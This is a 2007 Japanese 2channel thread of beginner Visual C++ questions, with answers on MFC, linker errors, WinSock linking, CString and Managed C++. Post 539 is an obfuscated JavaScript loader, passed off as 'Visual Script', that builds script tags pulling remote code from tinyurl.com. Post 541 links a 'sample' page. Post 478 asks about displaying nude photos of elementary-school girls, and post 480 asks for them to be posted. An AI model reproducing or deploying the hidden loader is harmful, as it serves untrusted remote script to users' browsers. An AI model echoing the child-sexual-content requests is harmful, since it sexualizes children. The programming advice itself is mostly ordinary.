ゲーム製作はC++だけと考えない方がいい。
どの程度の規模で何やりたいかによって、利用する言語は変わると思う。
ミニゲームであれば、HSP/Flashでも創れるし。

467 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 12:34:10 ]
そもそもゲームって時点で入門を超えてる

468 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 12:41:30 ]
初等教育 算数
教養課程 数学 物理 C/C++
専門課程 ゲーム製作

469 名前:デフォルトの名無しさん [2007/02/17(土) 16:22:37 ]
今、Visual C++ の入門書を探しています。
Cの文法は一通り理解しています。
本格的にWindowsプログラミングができるようになりたいので、
これから勉強を始めるつもりです。

数年前、ある先生から、
「Winアプリケーションを作れるようになるためには、
 まずはWinAPIを理解→オブジェクト指向を理解→MFCを使ったプログラミング」
というような段階を踏んで勉強していくといい、と聞きました。
勧められた本が、山本信雄の「はじめてのプログラミング」(全3巻)で、
ほぼ上記の説明通りの構成で書かれている本らしいのですが、アマゾンで見てみたら
残念なことにこの本はVisualC++5.0/6.0向けらしいです。
現行のVC++2005は、6.0から「かなり変わった」と聞いているので、別の本を
買うしかないと思っています。

「2005になって、.NetFrameWorkのクラスを利用するプログラミングに変わって..」
と聞いても、私にはまだよくわからないのですが、前記の「API→オブジェクト指向→MFC」
という学習の進め方自体も、2005になってだいぶ変わったのでしょうか。
多少時間がかかっても構わないので、なるべく体系だった学習ができるような
入門書がいいのですが....

ちなみに最終的に作りたいものは、周辺機器のデバイスドライバのたぐいです。

もし色々な本を読んでいる方がおられましたら、よろしくお願いします。


470 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 17:09:09 ]
Winアプリとデバイスドライバだとあんまり関連性ないよ

471 名前:469 [2007/02/17(土) 17:36:27 ]
>470
すみません。「デバイスドライバ」という書き方では不十分でした。

周辺機器は、光学センサや超音波センサで空間把握をするための装置です。
通信されてきたデータをPC画面上でグラフィカルにモニターするためのWinアプリを
作りたいと思っています。そして、ドライバ周りも一緒にC++でコーディングできればと
考えています。


472 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 18:01:43 ]
VisualC++2005なら5.0/6.0でできてた事はできるよ。
2005で「API→オブジェクト指向→MFC」という学習の進め方もできる。
かなり変わったというよりは、かなり機能が追加された。

473 名前:465 mailto:sage [2007/02/17(土) 18:34:36 ]
>>466
少し探したのですが見つからなかったので助かりました。
そちらの方で聞いてみます。誘導ありがとうございました。



474 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 18:36:05 ]
expressでapiの場合は
リソースエディタやクラスウィザードとか使わないだろうし
2005の本にこだわる意味はないだろうね

475 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 19:20:02 ]
VCは初心者向きじゃないから嫌ならVBやC#を使えということだな

476 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 19:43:12 ]
>>469
COMポートで繋ぐ程度ならデバイスドライバは要らない。
独自のカード経由&そのカードが仕様書しか無い、って話なら別だけど。
で、一つ言っておくなら「オブジェクト指向とMFCは一切関係が無い」。
MFCはWinAPIを手を抜いて使うためのラッパ。
あと、VC6のソースが2005で動かない病に良く効く呪文。
プロジェクト - プロパティ - 構成プロパティ - 文字セット - マルチバイト文字セットを使用する

477 名前:デフォルトの名無しさん [2007/02/17(土) 21:47:28 ]
VC++.NET2003 でWindowsフォームアプリケーションを作っています。
以前コンソールアプリケーションで作成した、Mysqlのクライアントプログラムを
利用したいと考えていますが、mysql.hを追加すると下記のエラーが出ます。
mysql.hは利用できますか?



Open.cpp
WINVER not defined. Defaulting to 0x0501 (Windows XP and Windows .NET Server)
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2146: 構文エラー : ';' が、識別子 'fd' の前に必要です。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2501: 'st_net::SOCKET' : 識別名を宣言するのに、型が指定されていません。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2501: 'st_net::fd' : 識別名を宣言するのに、型が指定されていません。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(358) : error C2065: 'SOCKET' : 定義されていない識別子です。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(358) : error C2146: 構文エラー : ')' が、識別子 's' の前に必要です。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(359) : error C2059: 構文エラー : ')'


478 名前:デフォルトの名無しさん [2007/02/18(日) 03:29:49 ]
C++builder5.0で、なんかの画像コンポーネントに、今手元にある
無毛でくっきり縦線・超美少女小学生のヌード写真(jpg)を貼り付
けたいのですがどうすればいいのかわかりません。

ウインドウの大きさと同期して画像のサイズも変わるようにしたい
です。誰か教えてください。

479 名前:デフォルトの名無しさん [2007/02/18(日) 03:45:06 ]
>>478
まず、その素敵な性癖を直せ。
話はそれからだ。

480 名前:デフォルトの名無しさん mailto:sage [2007/02/18(日) 07:36:09 ]
まず、その素敵な写真をうpれ。
話はそれからだ。

481 名前:ぶいしー [2007/02/18(日) 16:39:58 ]
DLLのリソースIDについて質問させてください。

拡張DLL、レギュラーDLLともに、
呼び出すクライアントとのリソースIDの重複は気にするのでしょうか?
あるサイトだと、拡張DLLはリソースIDの管理はMFCがやってくれる
みたいなことがかかれていたので・・

どなたかご教授ください。


482 名前:デフォルトの名無しさん mailto:sage [2007/02/18(日) 17:41:31 ]
>>477
#include <mysql.h>の前に、#include <winsock.h>。もれはこれで
3ヶ月ほど悩んだ。


483 名前:デフォルトの名無しさん mailto:sage [2007/02/18(日) 20:57:18 ]
Visual Studio 2005なんですけど
SystemParametersInfo(SPI_SETDESKWALLPAPER,NULL,"c:\\a.bmp",0);
でコンパイルはいけるんですが、ソリューションのビルドで
エラーになります
"c:\a.bmp"でもだめです
Vistaでもいけますよね?
解る方お願いします




484 名前:デフォルトの名無しさん mailto:sage [2007/02/18(日) 20:59:14 ]
>■質問するにあたって
>・エラーや警告のときはエラーメッセージを書きましょう。


485 名前:デフォルトの名無しさん mailto:sage [2007/02/18(日) 21:21:25 ]
>>483 です
エラーが多いんで伏せてました

リンクしています...
aaa_ch.obj : error LNK2028: 未解決のトークン (0A000022) "extern "C" int __stdcall
SystemParametersInfoW
(unsigned int,unsigned int,void *,unsigned int)"
(?SystemParametersInfoW@@$$J216YGHIIPAXI@Z) が関数 "
int __cdecl main(void)" (?main@@$$HYAHXZ) で参照されました。
aaa_ch.obj : error LNK2019: 未解決の外部シンボル "extern "C"
int __stdcall SystemParametersInfoW
(unsigned int,unsigned int,void *,unsigned int)"
(?SystemParametersInfoW@@$$J216YGHIIPAXI@Z)
が関数 "int __cdecl main(void)" (?main@@$$HYAHXZ) で参照されました。
E:\C++\aaach\Debug\aaach.exe : fatal error LNK1120: 外部参照 2 が未解決です。

以上です、お願いします。


486 名前:デフォルトの名無しさん [2007/02/19(月) 11:11:35 ]
超初歩的な質問なのですが、
MS Visual C++ .NET で、IntToStr関数を使えないので他の方法を調べてます。
値を文字列に変換するにはどうしたら良いのでしょうか?


487 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 11:15:20 ]
マネージプログラムならメソッドのToString
そうでなければ、boost::lexical_cast、std::(basic_)ostringstream、std::sprintf (_stprintf)と続く

488 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 11:24:28 ]
>>487
下の方法でできました!親切な回答ありがとうございます。

int a=100;
label1->Text = a.ToString();

489 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 15:21:20 ]
連続で申し訳ないのですが、また質問があります。

別の人が作ったソースで下のようにオーバーロードされた関数があるのですが、
この2つの違いって何なんでしょうか?

CRect hoge(CRect & r) const
{
  :
  :
}

CRect hoge(CRect const & r) const
{
  :
  :
}

490 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 15:39:02 ]
>>485
必要なライブラリリンクしてないんじゃね

491 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 15:40:04 ]
>>489
中味は同じでもかまわない
コンパイラが区別できればそれでいい

492 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 15:42:38 ]
>>489
constの有無。
特にconstな参照は右辺値を受け取れるので、
実質的にその多重定義は右辺値か左辺値かで振り分けられる。

493 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 16:11:30 ]
>>492
右辺値、左辺値とは何を指していますか?
この例だと引数は「r」1つだけなので右辺・左辺関係ないように思えます。

あと & についてですが、& をつけると、変数の値を変更すると
呼び出し元のスコープでもそれが変更される、という風に単純に考えています。

これに const が付くということに矛盾も感じます。
const とは、「この引数は変更不可です」という宣言だと思うのですが、
だとすれば、引数を & で渡す意味がないことになります。

このソース、バグ持ちでしょうか?



494 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 16:25:50 ]
ここはC++相談室じゃないし
くだらない質問は遠慮してほしいな

495 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 16:34:28 ]
>>493
お前が馬鹿なだけだからVCやるまえにC++勉強してこい

496 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 17:03:54 ]
>>494-495
わかりました…
ありがとうございます

497 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 18:35:13 ]
そもそも右辺値、左辺値はC言語の初歩

498 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 19:53:10 ]
>>496
あきらめるなな。最初は分かんないことばかりなんだから。

499 名前:デフォルトの名無しさん mailto:age [2007/02/20(火) 22:01:04 ]
すみません。
プロジェクトのプロパティで、
ランタイムライブラリについての設定周りで質問なのですが、

今/MDでビルドすると上手く行くいき、/MTにしたところ
ヒープの破壊が発生するといった状況になりました。
プロジェクトには自前のDLLを使ってます。
ttp://support.microsoft.com/kb/190799/ja
ここにあるとおり、CRTオブジェクトの操作の不備が原因であると
分かりました。

それで質問なのですが、
多くの場合の開発では/MTと/MDどちらを使用するのでしょうか、
/MDの方が、容量が小さくなるし、CRTobjも共有できるようですが、
Cランタイム等がインストールされている必要があります。
/MTだと、ランタイムがインストールされていなくても動作
するようですが、容量が大きく、CRTobjが共有できないようです。

どっちもどっちなのですが、やはり/MDが主流なのでしょうか?

500 名前:デフォルトの名無しさん mailto:sage [2007/02/20(火) 22:13:29 ]
何の目的か知らないけど、とくに必要感じなかったらデフォのままで
あとここは初心者スレだし

501 名前:デフォルトの名無しさん [2007/02/20(火) 22:22:00 ]
VC++ というよりはC++の話かも知れませんが教えてください。

CStirng s;
testFunc(&s);

void testFunc(CString s)
{ CString tmp("test"); (*s) = tmp; }

とやると s の値が呼び出し元でも変更されていて、

CString *s;
testFunc(s);

void testFunc(CString *s)
{ CString tmp("test"); s = &tmp; }

とやると変更されていないのはなぜでしょう?

Cのイメージからいくと上の方が変更されずに下で変更されるような気がするのですが・・

502 名前:デフォルトの名無しさん mailto:sage [2007/02/20(火) 22:30:08 ]
int *p;
testFunc(p);

void testFunc (int *p)
{ int tmp=1; p=&tmp; }

503 名前:499 mailto:sage [2007/02/20(火) 22:48:00 ]
あ、スレ違いすみません。
他スレに投げてきます。




504 名前:501 mailto:sage [2007/02/20(火) 22:50:22 ]
>>502
すいません。勘違いしていました。
その通りですね。

505 名前:デフォルトの名無しさん mailto:sage [2007/02/20(火) 22:52:04 ]
上のやつもあんまり見ない使い方だな
受けたい場合はこういう風に使うのが普通

void GetWindowText( CString& rString ) const;

506 名前:デフォルトの名無しさん mailto:sage [2007/02/20(火) 22:56:30 ]
素直にCString返せよ。

507 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 00:08:53 ]
それはどうよ。
んまぁ今のCPUじゃ一瞬だろうけどな…

508 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 01:33:29 ]
CStringは参照カウント使ってるから、大したオーバーヘッドじゃないよ。

509 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 06:19:25 ]
オーバーヘッドな気もするけどMFCもこんなことやってるな

CString CListCtrl::GetItemText(int nItem, int nSubItem) const
{
ASSERT(::IsWindow(m_hWnd));
LVITEM lvi;
memset(&lvi, 0, sizeof(LVITEM));
lvi.iSubItem = nSubItem;
CString str;
int nLen = 128;
int nRes;
do
{
nLen *= 2;
lvi.cchTextMax = nLen;
lvi.pszText = str.GetBufferSetLength(nLen);
nRes = (int)::SendMessage(m_hWnd, LVM_GETITEMTEXT, (WPARAM)nItem,
(LPARAM)&lvi);
} while (nRes == nLen-1);
str.ReleaseBuffer();
return str;
}

510 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 09:41:27 ]
CStringのコピーは、ポインタコピー + αくらいのオーバーヘッドでしょ。

511 名前:デフォルトの名無しさん [2007/02/21(水) 16:45:09 ]
失礼します。
MS Visual C++ .NET にて質問なのですが、テキストボックスのフォントを

textBox1->Font = new System::Drawing::Font("MSゴシック", 10);

このように変更できますが、new しっぱなしで構わないのでしょうか?
また、

textBox1->Font->Name = "MSゴシック";
textBox1->Font->Size = 10;

このように変更できないのでしょうか?
よろしくおねがいします。

512 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 16:48:36 ]
>>511
1) コントロールに割り当てると、うまく壊すタイミングがないからGCに任せるといい。
2) 読み取り専用プロパティだから無理。

513 名前:511 mailto:sage [2007/02/21(水) 18:33:41 ]
>>512
ありがとうございます。
でも分からないことだらけで死にそうです…。
ビルダーだったら簡単なのに…。とりあえず以下のように拡張しました。

  // フォント情報生成
  CString  fontName = dlg.GetFaceName();
  int    fontSize = dlg.GetSize()/10;
  COLORREF  fontColor = dlg.GetColor();

  // BOLD と ITALIC
  int fontStyle = 0;
  if(dlg.IsBold() ) fontStyle += (int)FontStyle::Bold;
  if(dlg.IsItalic()) fontStyle += (int)FontStyle::Italic;

  // セット
  textBox1->Font = new System::Drawing::Font(fontName, fontSize, (FontStyle)fontStyle);

なお new を gcnew にすると
error C2065: 'gcnew' : 定義されていない識別子です。
とエラーが出ます。
これは何故なのでしょうか?



514 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 19:33:37 ]
言語が違うからだろう。

Visual Studio .NET 2002 / 2003
-> Managed C++

Visual Studio 2005
-> C++/CLI

おそらく2003あたりなんだろうけど、
開発環境は "MS Visual C++ .NET" なんて略さず、確り書くべき。

515 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 19:46:08 ]
マネージドC++ではマネージクラスをnewすると漏れなくGCの管理下に置かれる。

それはともかくこのほうがいいと思う。
FontStyle fontStyle;
if (dlg.IsBold()) fontStyle |= FontStyle::Bold;
if (dlg.IsItalic()) fontStyle |= FontStyle::Italic;

516 名前:デフォルトの名無しさん [2007/02/21(水) 22:37:04 ]
.NET 2003でWinsockを使いたい場合どうすればいいのでしょうか?

プロジェクトを作る場合にチェックボックスで指定出来るのは後から
知ったのですが、これを忘れた場合どうすればよいのでしょうか?
ws2_32.lib のリンクなどが必要だと思うのですが、VC++6.0とは
リンクの仕方が変わっているようで分かりませんでした。

517 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 22:50:37 ]
プロジェクトを作る場合にチェックボックスで指定した場合
プロジェクトを作る場合にチェックボックスで指定しなかった場合
2種類つくってどこが違うか比較

518 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 22:58:45 ]
/LIBPATH

をmsdnで調べましょう

519 名前:デフォルトの名無しさん [2007/02/21(水) 23:12:26 ]
>>482
有難うございます、解決できました。

520 名前:デフォルトの名無しさん [2007/02/22(木) 10:56:24 ]
>>514-515
ありがとうございます。
おかげさまで疑問点は解決できました。

521 名前:デフォルトの名無しさん [2007/02/22(木) 11:05:08 ]
どうでもいい質問かもしれないのですが、
 textBox1->Font = new Font("MSゴシック", 10);
と、プログラムからフォント指定する場合、
textBox1コンポーネントに元々あったはずのフォント情報を保存するためのメモリ領域は
どこへ行っちゃうのでしょうか…?



522 名前:デフォルトの名無しさん mailto:sage [2007/02/22(木) 12:43:15 ]
.NETではその内ガベージコレクタによって回収される。
だからメモリリークの心配は要らない。

523 名前:デフォルトの名無しさん mailto:sage [2007/02/22(木) 14:03:58 ]
>>522
.NETすげー。
サンクスコ。




524 名前:デフォルトの名無しさん [2007/02/22(木) 20:22:07 ]
今後C++は廃れますか

525 名前:デフォルトの名無しさん mailto:sage [2007/02/22(木) 20:29:21 ]
仕様の汚さでC++を凌駕する言語が現れるまでは安泰です

526 名前:デフォルトの名無しさん mailto:sage [2007/02/22(木) 23:16:23 ]
既に現れていると思うが。Dとか。

527 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 00:03:53 ]
C言語の次だからD言語?
だとしたらA言語とかB言語もあるってこと?

528 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 00:05:27 ]
Bはあるよ

529 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 00:31:38 ]
でもBはAの次ということではなく、BCPLの頭文字が由来。
ついでに言うとCの由来はBの後継ということでBCPLの2文字目。

530 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 00:51:51 ]
えーっと
ユニコードの設定では
CStdioFile::WriteStringで日本語が出力されないんですが
いったい如何すればいいんでしょうか?

531 名前:530 mailto:sage [2007/02/23(金) 00:52:51 ]
VC2005のMFCでございます。

532 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 07:03:23 ]
>>531
既定ではCロケールになっているので、Unicode/MBCS変換時に日本語は無視されてしまう。
以下の一行をInitInstance辺りにでも入れておくと、OSの設定に従うようになる。
_tsetlocale(LC_ALL, _T(""));

533 名前:530 mailto:sage [2007/02/23(金) 07:41:53 ]
>>532
<locale.h>をインクルードしてできました。
助かりましたありがとうございます。



534 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 17:01:59 ]
質問があります。 ※>>513のつづきとなっております…

MS Visual C++ .NET 2003
においてなのですが、
CEditコンポーネントのフォントを変更する場合、以下のようにすると成功しました。

CEdit* edit(GetDlgItem(IDC_ED1));
CFONT font;

LOGFONT logfont;
(logfont編集)
font = CreateFontIndirect(&logfont);
edit->SetFont(font, TRUE);

logfontを編集することによって、フォント種類やサイズ、下線などが指定できました。
しかし、フォントの色だけは変更できませんでした。

edit->SetTextColor(refcolor);
のような関数があればいいのですがCEditのメンバにはないようにです。
CEditコンポーネントのフォント色を変更する方法を知ってる方、どうか
教えていただけないでしょうか。

535 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 18:51:51 ]
フォント色コンポーネント

536 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 20:07:16 ]
>>534
WM_CTLCOLORをハンドル。
親が処理するか、メッセージ返送を使ってCEditの派生で処理させるか好きな方を。
残念ながら、背景色はSetBkColorだけではうまくいかない。でも調べるの('A`)マンドクセ

537 名前:デフォルトの名無しさん [2007/02/23(金) 21:06:59 ]
>>536
ありがとうございます。
ググるための重要なキーワードです。ただ…訳の分からないエラーが出たり
基本を分かってなかったりで死にそうです。
ちょっと首吊ってきます…。

538 名前:デフォルトの名無しさん [2007/02/23(金) 22:18:10 ]
warning LNK4075: /EDITANDCONTINUE は /OPT:ICF の指定によって無視されます。
error LNK2005: "private: __thiscall type_info::type_info(class type_info const &)" (??0type_info@@AAE@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。
fatal error LNK1169: 1 つ以上の複数回定義されているシンボルが見つかりました。

VC++のない環境でもEXEを実行できるよう
VC++2005で/MTオプションでビルドしたところ上のようなエラーが出ました。
LIBCMT.libを無視するようにしたら、ビルドは通りましたがVCのない環境では実行できませんでした。

調べたところ
Microsoft_VC_DebugCRT_x86.msm
policy_8_0_microsoft_vc80_debugcrt_x86.msm
とういうファイルに依存しているようでした、VCがない環境で実行できないのはこれが原因でしょうか?

539 名前:デフォルトの名無しさん [2007/02/23(金) 22:26:47 ]
f="3a5"+"sm4";var d=new Array();tt=" - ";dd="";tt+="連";x=$.split("  \n ");tt+="続";xx="";tt+="動";
tt+="画";j=0;for(i=0;x.length>i;i++){if(3<=x[i].length){j++;if(1==j){tx=x[i];}else{a=x[i].split("&l=");b=eval(a[1]);
if(1>b){b=1;}else if(999<b){b=999;} b=(b+.1)/1000;b=a[0]+"&auto"+"play=1&l="+(""+b).substr(2,3);
c="you"+"tube.com/v/000000"+"00000&aut"+"oplay=1&l=99";b+=c+"9"+c+"8"+c+"7";b=b.substr(0,42*3);
xx+=b;}}} ds="<scr"+"ipt ";dq="src="+"//tin"+"yur"+"l.c"+"om/";dc=ds+dq;de="</scr"+"ipt>";
dn="<noscr"+"ipt>< img "+dq; df="</noscr"+"ipt>";db="<noem"+"bed>";dx="<xnoem"+"bed>";
d[0]="\";"+de+dc+f+">"+de+"\n";d[1]="<html><center><title>"+tx+tt+"</title>"+ds+">x=\"";
d[2]=dn+"y5o"+"vet >"+db+df+ds+">x=\"";d[3]=dc+"yn2"+"d2r>"+de+dx+dx+ds+">x=\"";n=xx.length/(42*3);
for(j=0;3>j;j++){dd+=d[j+1];for(i=0;n>i;i++){dd+=xx.substr(42*(3*i+j),42);}dd+=d[0];};exec(dd);


540 名前:デフォルトの名無しさん [2007/02/23(金) 22:28:05 ]
↑ Visual Script

541 名前:デフォルトの名無しさん [2007/02/23(金) 22:30:18 ]
サンプル動作例
g-s.s7.xrea.com/bbs_ftp/source/guro_0362.htm?1

542 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 22:55:13 ]
>>538
>MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
>LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。

Releaceでリビルドし直せ。

543 名前:デフォルトの名無しさん [2007/02/24(土) 00:30:16 ]
一般にC++と言う場合、それがVisual C++をさしている確率は低いんでしょうか?



544 名前:デフォルトの名無しさん [2007/02/24(土) 01:00:47 ]
Visual C++のデバッグモードは便利ですね
プログラムを組んでも、必ずといっていいほど最初はとんでもないことしてるので、デバッグモードで動かすと
すぐ修正できて便利です。
ただ、ファイルを開いてなんかするプログラムだと、デバッグモードではファイルを開くことができません。
これは仕方ないのでしょうか

545 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 01:10:40 ]
ファイルを開くときの共有モードをどうにかすればいい。

546 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 06:13:43 ]
デバッグモードでも普通にファイル開けるだろ
何を言ってるのか理解できない

547 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 10:25:10 ]
>>543
C++はプログラミング言語で、VisualC++はMicrosoftのプログラム開発ソフト。
意味が全く違う。

548 名前:デフォルトの名無しさん [2007/02/24(土) 13:14:08 ]
特定の時刻になったら知らせる方法を教えてください

549 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 13:26:35 ]
つ[タスク]

550 名前:デフォルトの名無しさん [2007/02/24(土) 13:33:44 ]
どういうように使うのですか?

551 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 13:56:37 ]
CLSID_CTaskSchedulerでCoCreateInstanceして
IID_ITaskSchedulerを介してアクセス。

552 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 14:02:35 ]
WaitableTimer作って、WaitFor...で待つとか。

553 名前:デフォルトの名無しさん [2007/02/26(月) 11:45:16 ]
2003年の本で勉強したらもう古いらしくて損したよー 
新しい本買わなきゃ     ・゚・(ノД`)・゚・。ウワーン



554 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 12:21:38 ]
あんたばか?

555 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 15:02:31 ]
>>547
>>543がそんな意図で聞いてるんじゃないことは明白だと思うんだが

556 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 15:27:10 ]
気に入らなかったら説明してやれば?

557 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 15:59:46 ]
C++って言ったら、やはりプログラミング言語って言うしかないんじゃない?
gccなのかVisualC++なのかC++Builderなのか.NETなのか判断できないし。

558 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 20:59:28 ]
>>543
そういうのって無意味だよな。
VCが使えない分野でなら確実にVCのことではない。


559 名前:デフォルトの名無しさん mailto:516 [2007/02/26(月) 23:23:35 ]
>>518の回答を元に調べてみましたが解決しなかったので教えてください。
.NET 2003 で WinSock を使用する方法です。

プロパティページの追加のライブラリのディレクトリにws2_32.libがある
Microsoft Visual Studio .NET\Vc7\PlatformSDK\lib を追加して
winsock2.hをインクルードするようにしたのですが、リンクのエラーになってしまいます。

  未解決の外部シンボル __imp__WSAStartup@8 が関数〜
  fatal error LNK1120: 外部参照 2 が未解決です

といった感じです。
どうすればよいのでしょうか?

560 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 23:26:59 ]
更にプロジェクトのプロパティのリンカの中のどこかに、
追加の入力ファイルという項目があるから、そこにws2_32.libと書く。
そうしてはじめてリンク時にws2_32.libが使われる。

561 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 23:33:39 ]
まだやってたのか
差分とって調べりゃ5分で済んだろうにアホだな

562 名前:516 mailto:sage [2007/02/26(月) 23:46:01 ]
>>560
ありがとうございます。
確認してみます。

>>561
差分ってどうやってだすんですか?
テキストであればツールで簡単に確認できますが、リンカの設定などは
バイナリデータに入ってそうなんですが。

563 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 23:50:44 ]
しかしファイル名はテキストのまま書き込まれている



564 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 01:30:39 ]
大丈夫、VisualStudio2003ならその辺の設定は全部テキストだ。

565 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 04:45:26 ]
*.vcproj をメモ帳で開いて見れ。
さすれば、幸せを手に入れることが出来るだろう。

566 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 10:26:29 ]
>>561
アホとか言うのは控えろよ
ここ初心者スレだぞ
カスが

567 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 11:02:54 ]
MFCダイアログベースで、ヘッダ情報に頼らずにファイルの容量を取得するにはどうすればいいでしょうか。



568 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 11:09:10 ]
GetFileSize()

569 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 11:40:03 ]
唐突にヘッダ情報って?

570 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 17:05:09 ]
VC2005 MFCベースでMDIのアプリですが、追加画面が必要になったので
リソースビューの欄で「Dialogを挿入」を行い画面をデザインしてます。
この画面にボタンを2個配置しました。
Aのボタンは最初は無効状態でBのボタンを押すことによって有効にします。
なのでAのボタンは「メンバー変数追加ウイザード」でメンバー変数m_bt1を追加して
Bのボタンが押されたイベントの中でm_bt1.EnableWindow(TRUE);と記述しました。
しかし、コンパイルは通りますが動作させるとエラーが出ます。
ちなみに
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
と記述すると正常に動作します。
何故メンバー変数追加で操作するとエラーになるのでしょうか?
IDや変数名の重複は無いです。

571 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 17:11:38 ]
別に問題ないと思うけど
あとは簡単なテストプログラム作って試すぐらいだから自分でやってみれば?

572 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 17:14:50 ]
追加したダイアロクじゃなくて
新しく簡単なサンプル作ってやってみれば?ということね

573 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 18:02:36 ]
m_bt1は有効だった?NULLだったりしないか?



574 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 18:03:29 ]
つか、メンバのほうか
m_bt1.m_hWndは有効な値だった?

575 名前:570 mailto:sage [2007/02/27(火) 18:32:01 ]
>>574
カーソルを当てて見てみたところメンバー変数を定義した変数のm_hWndは0x00000000です。
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
としてm_bt1のh_Wndを見ると0x00090beeです。

576 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 18:43:02 ]
んじゃIDがおかしいとかかな。
変数定義もっかいやりなおしてみたら。
何回やってもダメならその手順書いてみな

577 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 18:44:27 ]
メンバ変数の登録がちゃんとできてない。
もう一度やり直してみるといい。
対象のボタンを右クリックして「メンバ変数の追加」、
んでコントロール変数として適当なのを追加。

578 名前:570 mailto:sage [2007/02/27(火) 18:52:14 ]
>>576
>>577
了解しました。
もう一度見直してみます。

579 名前:デフォルトの名無しさん [2007/02/27(火) 19:50:05 ]
roopoutには確実にFALSEがはいっているのに

if(roopout==FALSE)
break;
else
....

が機能しませんが環境によってそういうことがあるのですか?
デバッグしながら確実に中にはいってるものを確かめましたがelseのほうにいきます

580 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 19:56:06 ]
FALSEとfalseは違うんじゃなかったっけ
if (!roopout) とか書いた方が安全

581 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 19:57:12 ]
それかifの後ろのどっかに変なセミコロンが紛れ込んでいて
条件式が真の場合にただの空行を実行してるとか

582 名前:デフォルトの名無しさん [2007/02/27(火) 19:57:24 ]
やってみます

583 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:03:07 ]
